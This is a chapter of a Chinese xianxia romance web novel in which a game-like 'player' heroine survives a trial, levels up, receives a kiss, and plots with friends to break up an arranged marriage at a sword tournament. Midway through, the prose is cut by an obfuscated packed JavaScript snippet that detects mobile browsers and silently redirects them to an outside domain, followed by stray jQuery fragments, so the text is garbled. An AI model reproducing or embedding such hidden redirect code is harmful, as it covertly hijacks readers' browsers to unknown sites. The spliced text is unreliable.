24. 升级完毕
作品:《穿进仙侠世界被迫当起乙游女主》 刘瑾瑜取药归来时,鳞九已被困于人偶阵三日。
他听闻了无名仙人那近乎胡闹的第三关试炼,想要阻止,却为时已晚。
剩下的时日,他便与无名一同,守在了那扇紧闭的幻境门前。
整整三月,那扇门,始终死寂。
直到今日。
当那扇石门上第一道裂纹出现时,连无名仙人,也莫名紧张了起来。
石门发出“轰隆”的闷响,在一片烟尘中,缓缓向内开启——
鳞九的身影,出现在门口。
她是近乎一步一跪,从门内中爬出来的。
衣衫早已破碎不堪,浑身布满了深可见骨的血痕与狰狞的伤疤。她的脸色惨白,一双眼眸空洞无神,宛若燃尽的死灰。浑身上下都裹挟着一层浓郁的、近乎实质的死气,仿佛刚从尸山血海的地狱中归来。
而在她身后,那扇门内,是堆积如山的、碎裂成渣的傀儡残骸。
“……”无名仙人见到她这副模样,下意识地倒退两步,直接躲到了刘瑾瑜的身后。这丫头身上那股杀伐之气,连他都感到心惊。
刘瑾瑜却仿佛毫无所觉,快步上前,解下自己的外衣,动作轻柔地罩在她单薄的肩上。他伸手去扶,指尖触碰到她手臂的瞬间,眉头便紧紧蹙起。
她的肌肉紧绷如岩石,肩背的线条凌厉坚实,与三个月前判若两人。仿佛这漫长的时光,已将她的筋骨都彻底重塑了一遍。
也是,外界三月,幻境之中,又该是何等漫长绝望的日与夜。
“鳞九?”他试探着唤她,声音里带着一丝自己都未察觉的小心翼翼,“你还认得我吗?”
那具仿佛只剩下本能的躯壳,缓缓转过头。眼中翻涌的,是麻木的死气与混沌。
直到那双灰暗的瞳仁,倒映出刘瑾瑜的身影,才像风中的残烛,极其缓慢地、重新聚起了一丝光亮。
“……这里是……哪里……”她的声音干涩沙哑,像两块砂石在摩擦,“都杀光了……我……通关了么?”
刘瑾瑜俯下身,不顾她满身的血污与死气,靠近她说道:
“……通关了。你做到了。现在可以休息了!”
“那就好……”她咧了咧嘴,像是想笑一笑,却早已没有多余的力气。下一瞬,她眼前一黑,彻底晕了过去。
??系统提示更新
玩家【鳞九】已通过【幻境·木偶杀阵】试炼。
当前等级提升至:Lv.28
【获得被动技能】:〔无尽斗志〕
简介:在无数次死亡与重生中磨炼出的战意残火,用以激发身体的极限潜能。
再临战场:复活后五分钟内,攻击力提升80%。
逆境护体:复活后,自动获得临时防御加持,可抵挡致死攻击一次。
体力重塑:复活瞬间,恢复60%体力值,并清除所有持续性负面状态。
【获得战斗技能】:〔精准打击〕
简介:由极限对战中觉醒的、刻印于灵魂的杀招本能。
破绽识别:攻击时,有极高概率自动锁定敌方最脆弱的部位。
致命一击:首次攻击必定暴击,造成双倍伤害。目标生命值越低,暴击率越高。
鳞九再次睁开眼时,发觉自己自己正趴在一个坚实宽阔的脊背上,在夜间的竹林小道间前行着。
她睡眼惺忪,还看不真切,但鼻尖縈繞着一股清冽又熟悉的冷香,让她瞬间安心下来。
是刘瑾瑜。
“醒了?”他察觉到她的动静,声音放得很低。
“嗯……”她在他背上蹭了蹭,咕哝一声,“我睡了多久?我们这是……要去哪儿?”
“从秘境出来,你睡了三天三夜。”
“这么久……”她挣了挣肩膀,有些不好意思,“你放我下来吧,我自己能走。”
他却像是没听见,反而将她往上托了托,让她趴得更安稳些。
“路也不远了,让我背着你走。”
“……很重的。”她低声嘟囔,声音小得像蚊子哼哼。
他忽然低低地笑了一下,那笑声顺着他的脊骨,震得她心口都有些发麻。
“不重。”他轻声说,“我想背着,就让我背着,好不好?”
这句不急不缓的温声低语,像山间夜雨,软软地拍进耳廓。鳞九觉得自己耳朵尖瞬间烧了起来,烫得厉害。她只好把脸往他清瘦的颈窝里埋得更深了些,不吱声了。
山风轻拂,月色如银。
鳞九被刘瑾瑜的气息完全裹挟,甚至还隐约听到了他规律的心跳。
这一幕似曾相识,仿佛是梦中见过。
“刘阁主……”她终是没忍住,声音闷闷地从他颈边传来,“我之前就想问了,我们……是不是早就见过?”
“你是说,在灵山你救我那次?”
“不……是更早,更早之前。”她蹙眉,努力在混乱的记忆里搜寻,“你为我准备的吃食、茶水,还有很多……你好像比我自己还要了解我。”
刘瑾瑜的脚步微微一顿,随即又恢复了平稳。
“如果我说,我们不仅相识,还因缘匪浅,你信吗?”
“如何……因缘匪浅?”
“比如……”他顿了顿,声音在月色下显得格外悠远,“你也曾这样,背着我走过一条很长很长的路。我如今,不过是礼尚往来。”
“是吗?可我怎么……一点都不记得了?”
“到了该记起的时候,你自然会记起的。”
“可我现在就想——”
“前方就是你们落脚的客栈了。”
刘瑾瑜的音色依旧温润如玉,但言辞间却将她的疑问轻轻挡了回去。
鳞九没再追问。
刘瑾瑜背着鳞九径直走上二楼,将她轻轻放到了床榻之上。
他动作极轻,先是半跪下来,为她脱去满是尘土的足靴,又细致地掖好被角,将她整个人都安稳地裹进柔软的被褥之中。
鳞九看着他,一时有些失神。
虽说两人都是来自现代的“玩家”,不拘小节,但这等举止……在古人的语境里,已是亲密到了极致。入了闺房,脱了鞋履,大概只有早已定下名分的未婚夫妻,才可如此。
夜月烛光,把刘瑾瑜的轮廓勾勒得格外温柔。
“在下今夜有事,需赶回听雨阁一趟。”他低声道,“你一个人……可以的,对吗?”
不知是因为这旖旎的氛围,还是因为自己身心俱疲,此时此刻鳞九心中莫名升起一股强烈地不舍之情,她不希望眼前这个人离开。
她下意识地伸手,一把拽住了他宽大的衣袖。
他回过头,安静地望进她的眼底,等着她开口。她却发现,自己根本不知道该说些什么。
“鳞九,怎么了?”
她仰头望着他,烛光在他深邃的眼底跳跃。她听到自己的声音很轻、很轻地问道:“……像这样,把我照顾到床上,也是我以前……对你做过的事么?”
他怔了片刻,低低一笑:“是啊。”
“那……我还对你做过什么事?”鳞九听到自己这样问道。
刘瑾瑜眸色一沉:“……姑娘,是真心想知道么?”
她也不明白自己为何突然问出口,也许是房中这氤氲烛光,也许是旖旎夜风,一呼一吸间也急促了起来。
鳞九鬼使神差地点了点头。
砰,砰,砰。
心跳声震耳欲聋,她甚至分不清,那究竟是自己的,还是他的。
刘瑾瑜缓缓俯下身,身影沉入她眼底,那股冷冽的香气,将她完全笼罩。
“还有……”他停在离她极近的地方,声音喑哑,“这种事。”
一个微凉的吻,蜻蜓点水般地,落在了她的唇上。
她瞳孔骤缩,几乎连呼吸都忘了。
刘瑾瑜直起身,神色平静如初。抬手替她将鬓边一缕碎发挽到耳后,再次望进她的眼里。
“时候不早,姑娘早些歇息。”
“……等等,”在他转身之际,她终于找回了自己的声音,带着一丝自己都未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436924|184175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察觉的颤抖,“我们下次……什么时候再见?”
“很快。”
刘瑾瑜吹灭床头灯烛,转身推门而出。
“吱呀”一声,门扉合拢。
黑暗与寂静瞬间将她吞没,只留下她一个人,和整夜无法平息的心跳。
次日清晨,天光微亮。
鳞九躺在床上,双眼通红,眼下的黑眼圈比眼睛还大,一动不动地望着屋顶梁柱。
——一夜未眠。
她满脑子都昨晚刘瑾瑜的言行举止,那一吻、那句话、那一眼,反复播放了不知多少遍,她却依旧想不明白。
她身上明明背着【玲珑劫】,明明会斩尽一切桃花,怎么可能有人会真的对她动心?
难道是刘瑾瑜能无视诅咒?还是说,他另有所图?
她烦躁地抓了抓头发,狠狠揉了把脸,心里暗自发狠:
“……算了!想不明白就不想了!下次见面,一定要当面问个清楚!就说那是我初吻,他必须得负责!”
她一边在心里下定决心,一边顶着满脸倦意起身穿戴。通宵失眠的副作用显而易见,站起身时,脚下都有些虚浮。
待她下楼时,客栈大堂中,白砚和白寅早已在了。
一见到鳞九,白砚便亲切地拉着她坐下,嘘寒问暖。白寅则依旧话不多,只安静地坐在一旁吃着茶点。不过数月未见,他似乎又长高了一些,身形挺拔,周身那股少年的桀骜之气沉淀了些许,多了几分如鞘中之刃的沉稳。
寒暄一番,终于说到正事。
“说起来,再过两周便是翠林论剑了,得开始做准备了。”白砚语气一顿,神色忽而复杂,“……我今早才得知一个消息,我那便宜爹准备在论剑上,当众宣布我的婚事。”
“什么?!”鳞九当场惊呼,顿时困意全无,“你要嫁给谁?!”
松影派掌门之子——古松涛。”白砚的语气听不出喜怒,只有一片冷淡,“六大门派之一,家世门当户对,又一向与墨剑门交好。又给白玄风多送一个傀儡罢了。”
“这婚绝对不能结。”鳞九的神色立刻严肃起来,她的大脑开始飞速运转,“情情爱爱的倒是其次,本质上就是政治联姻。关键在于,一旦成婚,你就相当于被锁定了阵营,失去了自由行动的身份。到时候,恐怕就没办法再跟我们这些‘公会’成员一同行动了。这才是对我们最致命的。”
“你说得对。只是……白玄风如今沉迷于魂石之力,功力大增,我们几个加起来,恐怕也不是他的对手,硬来是不行的。”
鳞九着急道:“那就只能智取!在翠林论剑上,直接让那个姓古的下不来台!对了,既然是武林大会,总有比武切磋的环节吧?”
“嗯……还真有。”白砚若有所思地点头,“‘论剑’有规矩,若有人对场上之事不服,便可发起论剑挑战,胜者为尊。”
鳞九眼睛一亮,一个经典的套路瞬间浮现在她脑海中:“那不就更好办了!到时候,只要有一个‘青年才俊’当众表示对这门婚事不服,并对那古松涛发起挑战……这不就成了‘比武招亲’了么?”
她看向白砚,又补充道:“不过这么一来,你‘白家大小姐’的名声可就全毁了,私定终身,阵前悔婚……你没关系吗?”
白砚不以为然地轻笑一声:“我们本就是异世的玩家,在意这里一套虚名作甚?若真有‘心上人’为我赢得比试,再带我‘私奔’,白玄风那等注重声誉的老古板,必定会当场与我这‘不孝女’划清界限。我们的目的,不就正好达成了?”
触发任务关键词【白砚的婚事】
公会支线任务【比武抢亲】已开启
任务内容:在翠林论剑上,以‘心上人’的名义发起挑战,击败古松涛,阻止白砚与其订亲。
鳞九一看任务弹窗:“这任务就这么轻易被触发了?”
此时,一直沉默的白寅,淡淡地问了句:
“谁上?”
鳞九:“……”
白砚:“……”
场面一瞬间安静。